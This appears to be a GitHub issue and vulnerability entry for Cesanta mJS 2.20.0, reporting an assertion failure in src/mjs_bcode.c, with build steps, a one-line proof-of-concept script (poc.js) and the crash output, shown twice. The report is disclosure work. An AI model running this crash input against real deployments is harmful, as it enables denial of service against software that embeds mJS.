There is an Assertion `i < parts_cnt' failed at src/mjs_bcode.c in Cesanta MJS v2.20.0.
cpe:2.3:a:cesanta:mjs:2.20.0:*:*:*:*:*:*:*
CF8D39F6-ACB1-46F8-87CF-1B41EFC157BE
OR
###### mJS revision

Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)




###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
vim Makefile
DOCKER_CLANG=clang
$(DOCKER_CLANG) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```



###### Test case
<details>
<summary>poc.js</summary>
<pre><code>

```javascript
(JSON.stringify([1, 2, 3]))((isNaN - 6.54321e2)(JSON.stringify([1, 2, 3])));
```
</code></pre>
</details>

###### Execution steps & Output

```bash
$ ./mjs/build/mjs poc.js
mjs: src/mjs_bcode.c:121: struct mjs_bcode_part *mjs_bcode_part_get_by_offset(struct mjs *, size_t): Assertion `i < parts_cnt' failed.
[1]    88797 abort      mjs poc.js
```
Credits: Found by OWL337 team.
Assertion `i < parts_cnt' failed at src/mjs_bcode.c:121: struct mjs_bcode_part *mjs_bcode_part_get_by_offset(struct mjs *, size_t).
This is a GitHub Issue
repo:mjs
owner:cesanta
Title : Assertion `i < parts_cnt' failed at src/mjs_bcode.c:121: struct mjs_bcode_part *mjs_bcode_part_get_by_offset(struct mjs *, size_t).
Issue date:

--- start body ---
###### mJS revision

Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)




###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
vim Makefile
DOCKER_CLANG=clang
$(DOCKER_CLANG) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```



###### Test case
<details>
<summary>poc.js</summary>
<pre><code>

```javascript
(JSON.stringify([1, 2, 3]))((isNaN - 6.54321e2)(JSON.stringify([1, 2, 3])));
```
</code></pre>
</details>

###### Execution steps & Output

```bash
$ ./mjs/build/mjs poc.js
mjs: src/mjs_bcode.c:121: struct mjs_bcode_part *mjs_bcode_part_get_by_offset(struct mjs *, size_t): Assertion `i < parts_cnt' failed.
[1]    88797 abort      mjs poc.js
```
Credits: Found by OWL337 team.
--- end body ---

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